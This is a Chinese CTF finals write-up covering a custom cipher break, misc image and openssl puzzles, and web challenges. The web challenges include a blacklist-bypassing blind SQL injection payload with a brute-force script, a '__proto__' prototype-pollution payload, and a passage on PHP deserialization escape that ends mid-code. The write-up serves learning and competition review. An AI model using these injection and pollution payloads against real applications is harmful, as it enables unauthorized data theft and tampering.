前言
好不容易经过线上初赛、分区选拔赛,终于有机会去线下打了场 CTF 国赛,感谢大师傅们带我玩~
辣鸡平台(ylbnb)什么的就不吐槽了,总的来说国赛其实还挺爽的 2333,混吃混喝划水的是我了。
第一天 AWD 一开始被打得贼惨了,中间修平台过了一个小时,本来都想好接下来要怎么打了,接着平台又崩了过了几个小时吃了个晚饭最后说不打了。。(第一次正式打 AWD 就是国赛了也太惨了
第二天改成了三小时 Break 解题赛 + 两小时 Fix,解题只会签到嘤嘤嘤(((
趁着还有点印象就来复现几个题吧。
(知道了我自己爪巴
Crypto
lockrise
Source:
import random
import os
from Crypto.Cipher import DES
'''
sbox=list(range(256))
random.shuffle(sbox)
print(sbox)
'''
sbox=[217, 25, 248, 51, 6, 37, 32, 69, 96, 117, 86, 108, 155, 50, 27, 249, 171, 82, 168, 245, 228, 195, 118, 187, 12, 109, 99, 241,
26, 41, 194, 205, 236, 185, 73, 35, 139, 175, 44, 116, 48, 148, 22, 142, 190, 114, 201, 60, 59, 89, 181, 13, 10, 197, 151, 219, 87, 198, 191, 93, 152, 230, 34, 124, 173, 146, 226, 40, 101, 165, 83, 212, 206, 229, 16, 95, 56, 107, 144, 250, 149, 153, 208, 133, 145, 156, 172, 162, 113, 100, 183, 127, 57, 223, 130, 72, 135, 84, 147, 15, 242, 177, 42, 23, 122, 54, 0, 131, 166, 244,
88, 231, 94, 235, 29, 125, 7, 232, 110, 90, 179, 75, 220, 71, 251, 45, 243, 207, 58, 120, 184, 9, 39, 218, 63, 38, 254, 167, 140, 53, 213, 214, 80, 85, 128, 8, 64, 174, 132, 233, 65, 200, 36, 115, 215, 192, 74, 203, 11, 134, 104, 170, 160, 227, 169, 246, 141, 221, 52, 21, 20, 47, 199, 33, 216, 182, 188, 143, 138, 102, 202, 105, 79, 49, 253, 30, 121, 103, 137, 1, 211, 150, 5, 55, 196, 247, 240, 178, 159, 24, 81, 224, 210, 67, 157, 91, 28, 18, 186, 126, 237, 98, 252, 2, 239, 43, 180, 209, 238, 225, 68, 119, 66, 46, 61, 17, 31, 112, 62, 158, 189, 234, 193, 111, 204, 19, 77, 222, 164, 14, 97, 3, 70, 255, 78, 129, 163, 92, 76, 4, 123, 176, 106, 161, 154, 136]
def lock(m):
r=[]
for i in m:
r.append(sbox[i])
return r
def peak(m):
r=m[-1:]+m[0:-1]
return r
def rise(m,k):
assert len(m)==len(k)
r=[]
for i in range(len(m)):
r.append(m[i]^k[i])
return r
key=os.urandom(8)
secret=[1,2,3,4,5,6,7,8]
r=lock(secret)
r=peak(r)
r=rise(r,key)
r=lock(r)
r=peak(r)
r=rise(r,key)
print("lockrise:",r)
print("k0 ^ k7:",key[0]^key[-1])
secret=os.urandom(8)
r=lock(secret)
r=peak(r)
r=rise(r,key)
r=lock(r)
r=peak(r)
r=rise(r,key)
print("encrypted:",r)
d=DES.new(secret,DES.MODE_ECB)
flag=b"flagxxxxx...xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
print(d.encrypt(flag).hex())
Output:
lockrise: [158, 51, 193, 48, 114, 23, 164, 217]
k0 ^ k7: 160
encrypted: [32, 98, 40, 152, 125, 149, 87, 167]
0304eb66ffd8a1e1ee60b7e923c7823da10bb23fba254ab6748137b204133e2a35759572068c3a0c
加密逻辑:
input => sbox => right shift => xor key => sbox => right shift => xor key => output
求解 flag 逻辑:
求解 key => 根据 key 和 encrypted 反向解出 secret => 用 secret 作密钥 DES 解密 flag
再来看加密过程,input0 => sbox => right shift => xor k1 => sbox => right shift => xor k2 => output2.
反推可以得到 input6 => sbox => right shift => xor k7 => sbox => right shift => xor k0 => output0.
这样根据 k0 ^ k7 = 160
可以爆破 k0
& k7
了。
secret=[1,2,3,4,5,6,7,8]
r=lock(secret)
r=peak(r)
# [96, 25, 248, 51, 6, 37, 32, 69]
前两步骤加密都是确定的,可以直接从这里入手了。
r = [96, 25, 248, 51, 6, 37, 32, 69]
lockrise = [158, 51, 193, 48, 114, 23, 164, 217]
for k7 in range(256):
k0 = 160 ^ k7
if sbox[r[7] ^ k7] ^ k0 == lockrise[0]:
print(k0, k7)
# 0 160
得到 k0 和 k7 分别为 0 和 160.
再将 k0 带入求解 k1.
k0 = 0
for k1 in range(256):
if sbox[r[0] ^ k0] ^ k1 == lockrise[1]:
print(k1)
# 180
依次求解下去即可得到key
。
或者写个循环求也行。
key = [0]
for i in range(0, 7):
for k in range(256):
if sbox[r[i] ^ key[i]] ^ k == lockrise[i + 1]:
print(i, k)
key.append(k)
break
print(key)
# [0, 180, 224, 60, 139, 193, 154, 160]
所以 key
为 [0, 180, 224, 60, 139, 193, 154, 160]
。
而后反过来求解 secret
。
key = [0, 180, 224, 60, 139, 193, 154, 160]
def inv_rise(m, k):
assert len(m) == len(k)
r = []
for i in range(len(m)):
r.append(m[i] ^ k[i])
return r
def inv_peak(m):
r = m[1:] + m[0:1] # left shift
return r
def inv_lock(m):
r = []
for i in m:
r.append(sbox.index(i))
return r
encrypted = [32, 98, 40, 152, 125, 149, 87, 167]
x = inv_rise(encrypted, key)
x = inv_peak(x)
x = inv_lock(x)
x = inv_rise(x, key)
x = inv_peak(x)
x = inv_lock(x)
print(x)
# [35, 239, 81, 231, 237, 218, 108, 166]
得到 secret
为 [35, 239, 81, 231, 237, 218, 108, 166]
。
secret = [35, 239, 81, 231, 237, 218, 108, 166]
flag = bytes.fromhex(
"0304eb66ffd8a1e1ee60b7e923c7823da10bb23fba254ab6748137b204133e2a35759572068c3a0c")
# 或者
# import binascii
# flag = binascii.unhexlify(
# "0304eb66ffd8a1e1ee60b7e923c7823da10bb23fba254ab6748137b204133e2a35759572068c3a0c")
from Crypto.Cipher import DES
d = DES.new(bytes(secret), DES.MODE_ECB)
print(d.decrypt(flag))
# b'flag{lock_peak_rise_repeat_2333_7481233}'
得到 flag。
Misc
签到
c3ludHt0MmpkZ2dqc2NuYTM2ZWwyfQ==
base64 decode
synt{t2jdggjscna36el2}
凯撒
flag{g2wqttwfpan36ry2}
BadPic
图片残缺了,拖进 010editor 里一看,发现文件最后面有一堆字符串,base64解密发现以 Salted
开头,盲猜用了 openssl 什么加密吧。
另外 PNG_CHUNK chunk[8]
的 length 为 0。
于是先手动算了算再试了试长度,是 21535。(有没有什么脚本能直接算的唉,手算感觉好蠢
修改后得到完整的图片。
apache
,这个应该就是加密的密钥了。
把图片末尾的字符串给提取出来,去掉 IDAT
等标识(还是复现的时候发现要这样整),合并两段 chunk。
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
然后拿这个去 https://tool.oschina.net/encrypt 在线解密,AES,密钥为 apache
。
或者 openssl 解密
(这参数谁知道就是 aes256 呢,难不成爆破?)
先把上面的密文存到
enc.txt
,而后执行下面的这个,输出保存到out.txt
文件中。cat enc.txt | base64 -d | openssl enc -aes256 -salt -d -out out.txt -pass pass:apache -md md5
另外大佬提醒说,openssl 1.1版本以上默认的hash不是md5,低版本的是md5。
得到一堆的01字符串,估计就是二维码了啦!
统计一下长度为4900,正好70*70.
写个丑陋的jio本把二维码画出来。
from PIL import Image
import numpy as np
table = np.zeros((70, 70), dtype=int)
i = 0
for row in range(70):
for j in range(70):
if s[i] == '1':
table[row][j] = 1
else:
table[row][j] = 0
i += 1
a = [[0 if b == 0 else 255 for b in row] for row in table]
qrcode = Image.fromarray(np.uint8(np.array(a)))
qrcode.show()
qrcode.save(r"./qr.png")
得到二维码如下。
扫码得到 flag。
flag{lakks1qw23eeeaw345tywqiqajsajdwajdai}
(寻思着现场断网环境做出来也太强了吧,怕不是 openssl 参数掌握的很熟练,要不然就是偷偷上网了?
(Misc 碰上 Crypto 就很头秃 (小声bb
Web
Web1 ezsql
<h1>Get The Flag</h1>
<!--
$query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
//$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit";
-->
<form method="get" class="form-group">
<div class="row">
<div class="col-md-1">
yourt id
</div>
<div class="col-md-4">
<input type="text" name="id" class="form-control">
</div>
</div>
<input type="text" name="limit" hidden="" value="1">
<div class="row">
<input type="submit" value="get it" class="btn" btn-info="">
</div>
</form>
是道 SQL 注入的题。根据提示真正的 flag 在 real_flag
这个表里,且字段名为 flag
,需要通过 id
和 limit
这两个参数来注入。
现场试了发现一堆关键字都被过滤掉了,UNION
、SUBSTR
不可行,'
"
/**/
()
等等都被过滤掉了,只能盲注了。
然而试了很多都没被过滤了草……
最后 fix 的时候发现读取数据库相关的源码长下面这样。
function is_safe($id, $limit){
$common_blacklist = ["!", "\"", "#", "%", "&", "'", ";", "<", "=", ">", "\\", "^", "`", "|" ,'between','not'," ","like",','];
$hack_list = ['union','join','in',"/**/","substr","ascii","left","right"];
$id_blacklist = ['left','right','like','(',')'];
$limit_blacklist = ['-'];
$blacklist = array_merge ($common_blacklist, $hack_list, $id_blacklist);
foreach ($blacklist as $value) {
if (stripos($id, $value) !== false)
die("your param <b>id</b> look like dangerous!");
}
$blacklist = array_merge ($common_blacklist, $hack_list, $limit_blacklist);
foreach ($blacklist as $value) {
if (stripos($limit, $value) !== false)
die("your param <b>limit</b> look like dangerous!");
}
if( $limit > 10 or $limit <= 0)
{
die("your param limit can't >10 or <=0");
}
return true;
}
if(isset($_GET["id"]) && isset($_GET['limit'])){
$id = $_GET["id"];
$limit = $_GET['limit'];
if(!is_safe($id, $limit)){
exit("stop , hack!");
}
$query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
$result = $mysqli->query($query);
if ($result === false) {
die("database error, please check your input");
}
//var_dump($result);
$row = $result->fetch_assoc();
if($row === NULL){
echo "searched nothing";
}else {
var_dump($row);
}
while ($row = $result->fetch_assoc()) {
var_dump($row);
}
$result->free();
$mysqli->close();
}
也就是说 id
过滤了括号,limit
过滤了 -
,但可以反过来,且能用 \t
代替空格,用 ord
代替 ascii
,就可以 布尔盲注 了。
群里大佬的 payload:
id=1\tor\t{x}-/*'
&limit='10\tnana*/ord((select\tgroup_concat(flag)\tfrom\treal_flag))
构造出来的 SQL 语句长这样。
SELECT * FROM fake_flag WHERE id = 1\tor\t{x}-/*' limit 0, '10\tnana*/ord((select\tgroup_concat(flag)\tfrom\treal_flag))
其中,ord
函数返回的是字符串第一个字符的 ASCII 值,group_concat
函数返回带有来自一个组的连接的非NULL值的字符串结果,也就是把flag字段的数据(默认用 ,
)合并起来。
fake_flag
中有两项结果,id
分别对应着1和2。
如果 or 后面的表达式为假,即说明 x 和 flag 中的这一位对上了,那么查询出来的结果就只有一项了。
另外,发现没有拦截 MID
,可以用这个来索引 flag。
于是进一步构造 SQL 语句:
SELECT * FROM fake_flag WHERE id = 1\tor\t{x}-/*' limit 0, '10\tnana*/ord((select\tMID(group_concat(flag),2)\tfrom\treal_flag))
所以大概就遍历一下 x 的取值,从而把 flag 爆破出来。
比如本地试一试,比如 f
对应 ASCII 为 102,此时只有一个结果。
当然也可以设置
id
为一个不存在的值,在正常情况下查询不到结果。SELECT * FROM fake_flag WHERE id = 5\tor\t{x}-/*' limit 0, '10\tnana*/ord((select\tMID(group_concat(flag),2)\tfrom\treal_flag))
加入注入语句后,如果 x 和 flag 中的相应位置字符没对应上,则 or 之后的表达式结果不为0,即为真,那么查询时将有结果返回;
而字符对应上的话,表达式结果为0,or 出来结果都为假,于是就查询不到结果。
这样也能实现布尔盲注。
参考网上jio本改了改:(大概逻辑这样,未实际测试
import requests
import string
mystring = string.printable # 所有可见字符
url = "http://URL/"
url += "?id=5\tor\t{0}-/*'&limit='10\tnana*/ord((select\tmid(group_concat(flag),{1})\tfrom\treal_flag))""
reply = "searched nothing"
print(url)
count = 1
result = ''
while True:
temp_result = result
for char in mystring:
response = requests.post(url.format(ord(char), count))
if reply in response.content:
result += char
print(result + '......')
break
if result == temp_result:
print('Complete!')
break
count+=1
(害,还是太菜了,连布尔盲注都不会嘤嘤嘤
Web2 battle
是一道 Node.js 的题。
部分源码:
function getPlayerDamageValue() //计算纯粹伤害
{
if (player.buff) {
return keepTwoDecimal(player.aggressivity+player.buff)
} else return player.aggressivity
}
function triggerPassiveSkill() //触发被动技能
{
switch (player.career) {
case "warrior":
player.buff = 5
return 1
case "high_priest" :
player.HP += 10
player.HP = keepTwoDecimal(player.HP)
return 2
case 'shooter' :
player.buff = 7
return 3
default:
return 0
}
}
function playerUseItem(round)
{
//ZLYG:治疗药膏,使用后回复10点生命值
//BYZF:白银之锋,使用后的一次攻击将触发暴击并造成130%的伤害
//XELD:邪恶镰刀,使用后将对方的一次攻击的攻击力变为80%
if (round == player.round_to_use && player.num == 1)
{
player.num = 0;
switch (player.item) {
case "ZLYG":
player.HP += 10;
return 1;
case "BYZF":
player.buff = player.aggressivity * 0.3;
player.buff = keepTwoDecimal(player.buff)
return 2;
case "XELD":
monster.buff = monster.aggressivity * (1 - 0.8) * (-1);
monster.buff = keepTwoDecimal(monster.buff)
return 3;
}
} else return 0
}
function playerAttackMonster()
{
monster.HP -= (getPlayerDamageValue())
monster.HP = keepTwoDecimal(monster.HP)
}
function monsterAttackPlayer()
{
if (monster.buff) {
player.HP -= (monster.aggressivity + monster.buff)
player.HP = keepTwoDecimal(player.HP)
return keepTwoDecimal(monster.aggressivity + monster.buff)
} else {
player.HP -= monster.aggressivity
player.HP = keepTwoDecimal(player.HP)
return monster.aggressivity
}
}
//......
app.post('/start', (req, res) => {
if (req.body && typeof req.body== 'object' )
{
player = {
name : "ciscn",
career : "warrior",
item : "BYZF",
round_to_use : 1 //round_to_use表示在哪一轮使用物品
}
let tempPlayer = req.body
for ( let i in tempPlayer )
{
if (player[i]) {
if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') {
continue
}
player[i] = tempPlayer[i]
}
}
player.num = 1; //player剩余可`使用物品`的次数
player.HP = 100; //HP为血量
player.aggressivity = getPlayerAggressivity()
initMonster()
res.redirect("/battle")
} else {
res.redirect("/")
}
})
app.get('/battle', (req, res)=>{
if ( player.HP !== 100 ) {
res.status(403).end("Forbidden")
return
}
let battleLog = []
let round = 1;
do {
battleLog.push(`<font color="red" size="5px">Round <B>${round}</B> fight!</font>`)
player.aggressivity = getPlayerAggressivity();
battleLog.push(`${playerAndMonsterInfo()}玩家<B>${player.name}</B>攻击力为<B>${getPlayerDamageValue()}</B>!`)
switch (playerUseItem(round)) {
case 0:
break
case 1:
battleLog.push(`玩家<B>${player.name}</B>使用了物品<B>治疗药膏</B>! 玩家生命值+10!`)
break
case 2:
battleLog.push(`玩家<B>${player.name}</B>使用了物品<B>白银之锋</B>! 即将造成130%暴击!`)
break
case 3:
battleLog.push(`玩家<B>${player.name}</B>使用了物品<B>邪恶镰刀</B>! <B>地穴领主</B>的攻击力变为了80%!`)
break
}
if (round === 1) {
switch (triggerPassiveSkill()) {
case 1:
battleLog.push(`玩家<B>${player.name}</B>触发了<B>战神领主</B>的被动技能<B>旋风飞斧</B>! 下次攻击的攻击力+5!`)
break
case 2:
battleLog.push(`玩家<B>${player.name}</B>触发了<B>奥术祭司</B>的被动技能<B>巫毒恢复</B>! 玩家<B>${player.name}</B>的生命值+10!`)
break
case 3:
battleLog.push(`玩家<B>${player.name}</B>触发了<B>暗夜游侠</B>的被动技能<B>百步穿杨</B>! 下次攻击的攻击力+7!`)
}
}
playerAttackMonster()
battleLog.push(`玩家<B>${player.name}</B>攻击了<B>地穴领主</B>并造成<B>${getPlayerDamageValue()}</B>点伤害! <B>地穴领主</B>剩余血量为<B>${monster.HP}</B>`)
if (monster.HP <= 0) {
battleLog.push(' ')
break
}
if (monsterPassiveSkill()){
battleLog.push(`<B>地穴领主</B>触发了被动技能<B>缩地</B>!生命值回复20点!回复后生命值为<B>${monster.HP}</B>`)
}
battleLog.push(`<B>地穴领主</B>攻击了玩家<B>${player.name}</B>并造成<B>${monsterAttackPlayer()}</B>点伤害! 玩家<B>${player.name}</B>剩余血量为<B>${player.HP}</B>`)
monster.aggressivity = 40;
monster.buff = 0;
player.buff = 0;
round++
battleLog.push(' ')
} while (player.HP > 0 && monster.HP > 0)
if (player.HP > monster.HP) {
battleLog.push("恭喜你胜利了!这是给你的奖励:" + flag)
} else {
battleLog.push("很遗憾,你被打败了,但是不要灰心,再接再厉")
}
player = monster = {}
res.render("result", {"result_5be4038eaf61b1b7abad92cfece05cd7" : battleLog.join("<br />\n")})
})
出 flag 需要 player.HP > monster.HP,但不能直接改 player.HP。
不过可以加大 buff,再看源码中这一部分。
for ( let i in tempPlayer )
{
if (player[i]) {
if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') {
continue
}
player[i] = tempPlayer[i]
}
}
这里把接收到的 tempPlayer 这个 object 中的 value 不为空内容都赋给 player 了。
于是我们可以通过污染原型链,把 buff 改大。
大师傅有言:
原型污染,虽然不能污染到真正的原型,但是可以替换 player 对象的原型到我们的恶意对象,将 buff 搞成一个特别大的值就能秒杀 boss。
Payload:
{
"name": "asdasd",
"round_to_use": 1,
"career": "high_priest",
"item": "ZLYG",
"__proto__": {
"buff": 1000
}
}
Web3
反序列化逃逸
lib.php 部分源码 User 类
private function waf($string)
{
$waf = '/phar|file|gopher|http|sftp|flag/i';
return preg_replace($waf, 'index', $string);
}
private function check_data($data)
{
foreach( $data as $key => $value)
{
if ( is_array($value) )
return $this->check_data($value);
if ( is_object($value) && $value instanceof User)
{
